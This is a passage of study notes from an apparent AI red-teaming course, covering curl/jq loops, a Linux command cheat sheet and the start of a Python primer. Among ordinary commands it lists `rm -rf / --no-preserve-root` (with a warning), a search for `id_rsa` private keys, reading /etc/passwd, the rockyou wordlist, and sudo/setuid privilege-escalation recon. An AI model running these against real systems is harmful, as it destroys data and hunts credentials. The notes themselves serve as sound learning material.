<span class="giallo-l"><span style="color: #8992A7;">for</span><span> id</span><span style="color: #8992A7;"> in</span><span style="color: #9E9B93;"> $(</span><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -s https://api.example.com/users</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> -r '.[].id'</span><span style="color: #9E9B93;">);</span><span style="color: #8992A7;"> do</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> echo</span><span style="color: #8A9A7B;"> "== user </span><span>$id</span><span style="color: #8A9A7B;"> =="</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;"> curl</span><span style="color: #8A9A7B;"> -s "https://api.example.com/users/</span><span>$id</span><span style="color: #8A9A7B;">"</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> -r '.name'</span></span>
<span class="giallo-l"><span style="color: #8992A7;">done</span></span></code></pre>
<p>Loop breakdown:</p>
<ul>
<li><code>curl -s ... | jq -r '.[].id'</code> → get the list of IDs (raw, so it feeds into bash)</li>
<li><code>for id in $(...)</code> → iterate over each ID</li>
<li>inside → a separate request per ID, then pull <code>.name</code></li>
</ul>
<h2 id="materials">Materials</h2>
<ul>
<li>HTTP MDN Web Docs <a rel="external" href="https://developer.mozilla.org/en-US/docs/Web/HTTP">https://developer.mozilla.org/en-US/docs/Web/HTTP</a></li>
<li><a rel="external" href="https://httpbin.org">https://httpbin.org</a> echo service: <code>curl -s https://httpbin.org/get | jq</code></li>
<li><a rel="external" href="https://jqplay.org">https://jqplay.org</a> sandbox for practising <code>jq</code> expressions</li>
<li><a rel="external" href="https://jsonplaceholder.typicode.com">https://jsonplaceholder.typicode.com</a> free fake REST API for loops</li>
<li><a rel="external" href="https://api.github.com">https://api.github.com</a> GitHub real public API</li>
</ul>
Linux
2026-07-06T00:00:00+00:00
2026-07-06T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/linux/
<h2 id="filesystem-navigation">Filesystem navigation</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8BA4B0;">pwd</span><span style="color: #737C73;"> # where am I (current directory)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ls</span><span style="color: #737C73;"> # list files</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ls</span><span style="color: #8A9A7B;"> -la</span><span style="color: #737C73;"> # + hidden (.files) and details (permissions, size, date)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">cd</span><span style="color: #8A9A7B;"> /path/to/dir</span><span style="color: #737C73;"> # go to a directory</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">cd</span><span style="color: #8A9A7B;"> ..</span><span style="color: #737C73;"> # up one level</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">cd</span><span style="color: #8A9A7B;"> ~</span><span style="color: #737C73;"> # to the home directory</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">cd</span><span style="color: #8A9A7B;"> -</span><span style="color: #737C73;"> # back to the previous directory</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">tree</span><span style="color: #737C73;"> # directory tree (may need installing)</span></span></code></pre><h2 id="create-move-copy-delete">Create, move, copy, delete</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">mkdir</span><span style="color: #8A9A7B;"> dir</span><span style="color: #737C73;"> # create a directory</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">mkdir</span><span style="color: #8A9A7B;"> -p a/b/c</span><span style="color: #737C73;"> # create nested directories at once</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">rmdir</span><span style="color: #8A9A7B;"> dir</span><span style="color: #737C73;"> # remove an EMPTY directory</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">touch</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # create an empty file (or bump its timestamp)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">cp</span><span style="color: #8A9A7B;"> src dst</span><span style="color: #737C73;"> # copy a file</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">cp</span><span style="color: #8A9A7B;"> -r srcdir dstdir</span><span style="color: #737C73;"> # copy a directory (recursive)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">mv</span><span style="color: #8A9A7B;"> src dst</span><span style="color: #737C73;"> # move OR rename</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">rm</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # [!warn] (no undo) delete a file</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">rm</span><span style="color: #8A9A7B;"> -r dir</span><span style="color: #737C73;"> # [!warn] (no undo) delete a directory recursively</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">rm</span><span style="color: #8A9A7B;"> -rf dir</span><span style="color: #737C73;"> # [!warn] (no undo) force-delete a directory recursively (no confirmation)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">rm</span><span style="color: #8A9A7B;"> -rf / --no-preserve-root</span><span style="color: #737C73;"> # [!warn] (no undo) completely deletes all files and directories on system</span></span></code></pre>
<p><code>--no-preserve-root</code> is a flag that bypasses the built-in safety protection</p>
<p>never use a variable that could be empty - e.g. <code>rm -rf "$DIR"/</code> will target <code>/</code> if <code>$DIR</code> is unset</p>
<h2 id="viewing-files">Viewing files</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">cat</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # print the whole file</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">less</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # page through a large file (q - quit, / - search)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">head</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # first 10 lines</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">head</span><span style="color: #8A9A7B;"> -n</span><span style="color: #A292A3;"> 20</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # first 20 lines</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">tail</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # last 10 lines</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">tail</span><span style="color: #8A9A7B;"> -n</span><span style="color: #A292A3;"> 20</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # last 20 lines</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">tail</span><span style="color: #8A9A7B;"> -f log</span><span style="color: #737C73;"> # follow a file in real time (logs)</span></span></code></pre><h2 id="text-filtering">Text filtering</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">grep</span><span style="color: #8A9A7B;"> pattern file</span><span style="color: #737C73;"> # lines containing pattern</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">grep</span><span style="color: #8A9A7B;"> -i pattern file</span><span style="color: #737C73;"> # case-insensitive</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">grep</span><span style="color: #8A9A7B;"> -v pattern file</span><span style="color: #737C73;"> # invert: lines WITHOUT pattern</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">grep</span><span style="color: #8A9A7B;"> -c pattern file</span><span style="color: #737C73;"> # count matches (shorter than | wc -l)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">grep</span><span style="color: #8A9A7B;"> -r pattern dir</span><span style="color: #737C73;"> # recursive over a directory</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">grep</span><span style="color: #8A9A7B;"> -n pattern file</span><span style="color: #737C73;"> # + line numbers</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8EA4A2;">wc</span><span style="color: #8A9A7B;"> -l file</span><span style="color: #737C73;"> # count lines</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">wc</span><span style="color: #8A9A7B;"> -w file</span><span style="color: #737C73;"> # count words</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sort</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # sort</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sort</span><span style="color: #8A9A7B;"> file</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> uniq</span><span style="color: #737C73;"> # drop duplicates (uniq needs sorted input!)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sort</span><span style="color: #8A9A7B;"> file</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> uniq</span><span style="color: #8A9A7B;"> -c</span><span style="color: #737C73;"> # + count occurrences of each line</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8EA4A2;">cut</span><span style="color: #8A9A7B;"> -d',' -f1 file</span><span style="color: #737C73;"> # 1st field, comma-separated</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">cut</span><span style="color: #8A9A7B;"> -d':' -f1 /etc/passwd</span><span style="color: #737C73;"> # usernames from passwd</span></span></code></pre><h2 id="stream-editing">Stream editing</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #737C73;"># sed - stream editor</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sed</span><span style="color: #8A9A7B;"> 's/old/new/' file</span><span style="color: #737C73;"> # replace first match per line</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sed</span><span style="color: #8A9A7B;"> 's/old/new/g' file</span><span style="color: #737C73;"> # replace all matches</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sed</span><span style="color: #8A9A7B;"> -n '5,10p' file</span><span style="color: #737C73;"> # print lines 5–10</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sed</span><span style="color: #8A9A7B;"> '/pattern/d' file</span><span style="color: #737C73;"> # delete lines matching pattern</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># awk - field-based processing</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">awk</span><span style="color: #8A9A7B;"> '{print $1}' file</span><span style="color: #737C73;"> # 1st field (whitespace-separated)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">awk</span><span style="color: #8A9A7B;"> -F',' '{print $1,$3}' file</span><span style="color: #737C73;"> # CSV: fields 1 and 3</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">awk</span><span style="color: #8A9A7B;"> '$3 > 100' file</span><span style="color: #737C73;"> # rows where field 3 > 100</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">awk</span><span style="color: #8A9A7B;"> '{s+=$1} END{print s}' file</span><span style="color: #737C73;"> # sum a column</span></span></code></pre><h2 id="pipes-and-redirects">Pipes <code>|</code> and redirects</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8BA4B0;">command</span><span style="color: #C4B28A;"> ></span><span style="color: #8A9A7B;"> out.txt</span><span style="color: #737C73;"> # overwrite stdout into a file</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">command</span><span style="color: #C4B28A;"> >></span><span style="color: #8A9A7B;"> out.txt</span><span style="color: #737C73;"> # append to the end</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">command</span><span style="color: #C4B28A;"> 2></span><span style="color: #8A9A7B;"> err.txt</span><span style="color: #737C73;"> # stderr into a file</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">command</span><span style="color: #C4B28A;"> ></span><span style="color: #8A9A7B;"> out</span><span style="color: #C4B28A;"> 2>&1</span><span style="color: #737C73;"> # stdout AND stderr into one file</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">command</span><span style="color: #C4B28A;"> 2></span><span style="color: #8A9A7B;">/dev/null</span><span style="color: #737C73;"> # discard errors (common trick)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">command</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> tee</span><span style="color: #8A9A7B;"> out.txt</span><span style="color: #737C73;"> # to screen AND file at the same time</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># example</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">cat</span><span style="color: #8A9A7B;"> access.log</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> grep</span><span style="color: #8A9A7B;"> " 404 "</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> wc</span><span style="color: #8A9A7B;"> -l</span></span></code></pre><h2 id="permissions">Permissions</h2>
<p>Decoding the permission string from <code>ls -l</code>:</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="plain"><span class="giallo-l"><span>-rwxr-xr--</span></span>
<span class="giallo-l"><span>│└┬┘└┬┘└┬┘</span></span>
<span class="giallo-l"><span>│ │ │ └── other: r-- = read</span></span>
<span class="giallo-l"><span>│ │ └───── group: r-x = read + execute</span></span>
<span class="giallo-l"><span>│ └──────── owner: rwx = read + write + execute</span></span>
<span class="giallo-l"><span>└────────── type: - file | d directory | l symlink</span></span></code></pre>
<p>Numeric notation (<code>chmod</code>): add up <strong>4 (r) + 2 (w) + 1 (x)</strong>.</p>
<table><thead><tr><th style="text-align: center">Number</th><th style="text-align: center">Bits</th><th>Permissions</th></tr></thead><tbody>
<tr><td style="text-align: center">7</td><td style="text-align: center">rwx</td><td>read + write + execute</td></tr>
<tr><td style="text-align: center">6</td><td style="text-align: center">rw-</td><td>read + write</td></tr>
<tr><td style="text-align: center">5</td><td style="text-align: center">r-x</td><td>read + execute</td></tr>
<tr><td style="text-align: center">4</td><td style="text-align: center">r--</td><td>read only</td></tr>
<tr><td style="text-align: center">0</td><td style="text-align: center">---</td><td>nothing</td></tr>
</tbody></table>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">chmod</span><span style="color: #A292A3;"> 754</span><span style="color: #8A9A7B;"> file</span><span style="color: #737C73;"> # rwx (owner) r-x (group) r-- (other)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">chmod</span><span style="color: #8A9A7B;"> +x script.sh</span><span style="color: #737C73;"> # add the execute bit</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">chmod</span><span style="color: #8A9A7B;"> -x file</span><span style="color: #737C73;"> # remove it</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">chown</span><span style="color: #8A9A7B;"> user:group f</span><span style="color: #737C73;"> # change owner and group</span></span></code></pre>
<p><strong>Symbolic notation</strong> (alternative to numbers): <code>u/g/o/a</code> (user/group/other/all) with <code>=</code> (set), <code>+</code> (add), <code>-</code> (remove).</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">chmod</span><span style="color: #8A9A7B;"> u=rwx,g=rx,o=r file</span><span style="color: #737C73;"> # same result as chmod 754</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">chmod</span><span style="color: #8A9A7B;"> g+w file</span><span style="color: #737C73;"> # add write for the group</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">chmod</span><span style="color: #8A9A7B;"> o-r file</span><span style="color: #737C73;"> # remove read for others</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">chmod</span><span style="color: #8A9A7B;"> -R a+X dir</span><span style="color: #737C73;"> # add execute on directories only, recursively</span></span></code></pre>
<blockquote>
<p>Special permission bits</p>
</blockquote>
<blockquote>
<p>A leading 4th digit sets special bits - <strong>setuid (4), setgid (2), sticky (1)</strong>.</p>
</blockquote>
<ul>
<li><code>chmod 4755 file</code> → <strong>setuid</strong>: the program runs with the owner's rights, not yours. A setuid-root binary runs as root (a privesc target).</li>
<li><strong>setgid</strong> on a directory → new files inherit that directory's group (shared-group abuse).</li>
<li><strong>sticky bit</strong> on <code>/tmp</code> → only a file's owner can delete it.
In <code>ls -l</code> these appear as <code>s</code> (setuid/setgid) or <code>t</code> (sticky) in the execute slot.</li>
</ul>
<h2 id="processes">Processes</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">ps</span><span style="color: #8A9A7B;"> aux</span><span style="color: #737C73;"> # all processes on the system</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ps</span><span style="color: #8A9A7B;"> aux</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> grep</span><span style="color: #8A9A7B;"> nginx</span><span style="color: #737C73;"> # find a process by name</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">top</span><span style="color: #737C73;"> # interactive monitor (q - quit)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">htop</span><span style="color: #737C73;"> # more visual than top (may need installing)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">kill</span><span style="color: #A292A3;"> 1234</span><span style="color: #737C73;"> # send a terminate signal to PID 1234</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">kill</span><span style="color: #8A9A7B;"> -9</span><span style="color: #A292A3;"> 1234</span><span style="color: #737C73;"> # force kill</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8BA4B0;">command</span><span style="color: #9E9B93;"> &</span><span style="color: #737C73;"> # run in the background</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">jobs</span><span style="color: #737C73;"> # list background jobs</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">fg</span><span style="color: #8A9A7B;"> %1</span><span style="color: #737C73;"> # bring job #1 to the foreground</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">bg</span><span style="color: #8A9A7B;"> %1</span><span style="color: #737C73;"> # resume in the background</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">nohup</span><span style="color: #8A9A7B;"> command</span><span style="color: #9E9B93;"> &</span><span style="color: #737C73;"> # don't kill on session exit</span></span>
<span class="giallo-l"><span style="color: #737C73;"># Ctrl+Z → suspend the foreground process, then resume with bg/fg</span></span></code></pre><h2 id="ssh-scp">SSH & SCP</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">ssh</span><span style="color: #8A9A7B;"> user@host</span><span style="color: #737C73;"> # connect</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ssh</span><span style="color: #8A9A7B;"> -p</span><span style="color: #A292A3;"> 2222</span><span style="color: #8A9A7B;"> user@host</span><span style="color: #737C73;"> # non-standard port (lowercase -p)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ssh</span><span style="color: #8A9A7B;"> -i ~/.ssh/id_ed25519 user@host</span><span style="color: #737C73;"> # with a private key</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">ssh-keygen</span><span style="color: #8A9A7B;"> -t ed25519</span><span style="color: #737C73;"> # create a key pair</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8EA4A2;">scp</span><span style="color: #8A9A7B;"> file user@host:/path/</span><span style="color: #737C73;"> # copy local → remote</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">scp</span><span style="color: #8A9A7B;"> user@host:/path/file .</span><span style="color: #737C73;"> # copy remote → local</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">scp</span><span style="color: #8A9A7B;"> -r dir user@host:/path/</span><span style="color: #737C73;"> # recursive (directory)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">scp</span><span style="color: #8A9A7B;"> -P</span><span style="color: #A292A3;"> 2222</span><span style="color: #8A9A7B;"> file user@host:/path</span><span style="color: #737C73;"> # non-standard port (capital -P!)</span></span></code></pre><h1 id="users-groups-sudo">Users, groups & sudo</h1>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">id</span><span style="color: #737C73;"> # your user, UID and GROUPS (group membership matters for privesc)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">whoami</span><span style="color: #737C73;"> # current username</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sudo</span><span style="color: #8A9A7B;"> command</span><span style="color: #737C73;"> # run one command as root</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sudo</span><span style="color: #8A9A7B;"> -l</span><span style="color: #737C73;"> # what you're allowed to run via sudo (privesc recon!)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">sudo</span><span style="color: #8A9A7B;"> -i</span><span style="color: #737C73;"> # get a root shell</span></span></code></pre><h2 id="handy-extras">Handy extras</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">man</span><span style="color: #8A9A7B;"> grep</span><span style="color: #737C73;"> # full docs for a command (q - quit)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">grep</span><span style="color: #8A9A7B;"> --help</span><span style="color: #737C73;"> # short help</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">history</span><span style="color: #737C73;"> # command history (Ctrl+R - search it)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">which</span><span style="color: #8A9A7B;"> python3</span><span style="color: #737C73;"> # path to an executable</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">type</span><span style="color: #8A9A7B;"> cd</span><span style="color: #737C73;"> # what a command is (binary, builtin, alias)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">echo</span><span> $PATH</span><span style="color: #737C73;"> # directories the shell searches for commands</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">whereis</span><span style="color: #8A9A7B;"> curl</span><span style="color: #737C73;"> # locates the absolute paths of binary, source, and manual page files for a command</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">clear</span><span style="color: #737C73;"> # clear the screen (or Ctrl+L)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">find</span><span style="color: #8A9A7B;"> . -name "*.log"</span><span style="color: #737C73;"> # find by name (live search)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">find</span><span style="color: #8A9A7B;"> / -type f -name "id_rsa"</span><span style="color: #C4B28A;"> 2></span><span style="color: #8A9A7B;">/dev/null</span><span style="color: #737C73;"> # files, errors to nowhere</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">locate</span><span style="color: #8A9A7B;"> rockyou.txt</span><span style="color: #737C73;"> # find via a prebuilt index (fast; run updatedb to refresh)</span></span></code></pre>
<p>Wildcards: <code>*</code> - any number of characters · <code>?</code> - one character · <code>[abc]</code> - one of a/b/c.</p>
<p>Find vs locate: find walks the filesystem live (accurate, slower). locate queries a prebuilt index (instant, but only as fresh as the last updatedb). Prefix any command with time to measure how long it actually takes.</p>
<h2 id="filesystem-hierarchy">Filesystem hierarchy</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="plain"><span class="giallo-l"><span>/ # absolute path</span></span>
<span class="giallo-l"><span>/etc # system configuration files</span></span>
<span class="giallo-l"><span>/var # variable data - logs (/var/log), queues, caches</span></span>
<span class="giallo-l"><span>/tmp # temporary files (often world-writable, sticky bit)</span></span>
<span class="giallo-l"><span>/home # user home directories</span></span>
<span class="giallo-l"><span>/root # root's home directory</span></span>
<span class="giallo-l"><span>/proc # virtual FS: processes and kernel info</span></span>
<span class="giallo-l"><span>/dev # device files (/dev/null, /dev/tcp)</span></span>
<span class="giallo-l"><span>/bin /usr/bin # executables</span></span>
<span class="giallo-l"><span>/opt # third-party software</span></span></code></pre><h2 id="materials">Materials</h2>
<ul>
<li>OverTheWire: Bandit <a rel="external" href="https://overthewire.org/wargames/bandit">https://overthewire.org/wargames/bandit</a></li>
<li>"The Linux Command Line", W. Shotts <a rel="external" href="https://linuxcommand.org">https://linuxcommand.org</a></li>
<li>Linux Journey <a rel="external" href="https://linuxjourney.com">https://linuxjourney.com</a></li>
</ul>
Python
2026-07-06T00:00:00+00:00
2026-07-06T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/python/
<h2 id="environment-venv-pip">Environment: venv / pip</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">python3</span><span style="color: #8A9A7B;"> -m venv .venv</span><span style="color: #737C73;"> # create an isolated virtual environment</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">source</span><span style="color: #8A9A7B;"> .venv/bin/activate</span><span style="color: #737C73;"> # activate (Linux/macOS) | Windows: .venv\Scripts\activate</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">pip</span><span style="color: #8A9A7B;"> install requests</span><span style="color: #737C73;"> # install a package</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">pip</span><span style="color: #8A9A7B;"> install -r requirements.txt</span><span style="color: #737C73;"> # install pinned deps</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">pip</span><span style="color: #8A9A7B;"> freeze</span><span style="color: #C4B28A;"> ></span><span style="color: #8A9A7B;"> requirements.txt</span><span style="color: #737C73;"> # snapshot current versions</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">deactivate</span><span style="color: #737C73;"> # leave the venv</span></span></code></pre><h2 id="language-essentials">Language essentials</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>name</span><span style="color: #C4B28A;"> =</span><span style="color: #8A9A7B;"> "Pablo"</span></span>
<span class="giallo-l"><span>count</span><span style="color: #C4B28A;"> =</span><span style="color: #A292A3;"> 3</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">print</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">f</span><span style="color: #8A9A7B;">"</span><span style="color: #B6927B;">{</span><span style="color: #8BA4B0;">name</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;"> has </span><span style="color: #B6927B;">{</span><span style="color: #8BA4B0;">count</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;"> items"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # f-string interpolation</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">if</span><span> count</span><span style="color: #C4B28A;"> ></span><span style="color: #A292A3;"> 0</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"non-empty"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">elif</span><span> count</span><span style="color: #C4B28A;"> ==</span><span style="color: #A292A3;"> 0</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"empty"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">else</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"negative"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">for</span><span> i</span><span style="color: #8992A7;font-weight: bold;"> in</span><span style="color: #8BA4B0;"> range</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">3</span><span style="color: #9E9B93;">):</span><span style="color: #737C73;"> # 0, 1, 2</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">i</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;">def</span><span style="color: #8BA4B0;"> greet</span><span style="color: #9E9B93;">(</span><span>who</span><span style="color: #9E9B93;">,</span><span> punct</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"!"</span><span style="color: #9E9B93;">):</span><span style="color: #737C73;"> # default argument</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> return</span><span style="color: #8992A7;"> f</span><span style="color: #8A9A7B;">"hi </span><span style="color: #B6927B;">{</span><span>who</span><span style="color: #B6927B;">}{</span><span>punct</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;">"</span></span></code></pre><h2 id="data-structures-list-dict-set-tuple">Data structures: list / dict / set / tuple</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #737C73;"># list — ordered, mutable</span></span>
<span class="giallo-l"><span>xs</span><span style="color: #C4B28A;"> =</span><span style="color: #9E9B93;"> [</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 2</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 3</span><span style="color: #9E9B93;">]</span></span>
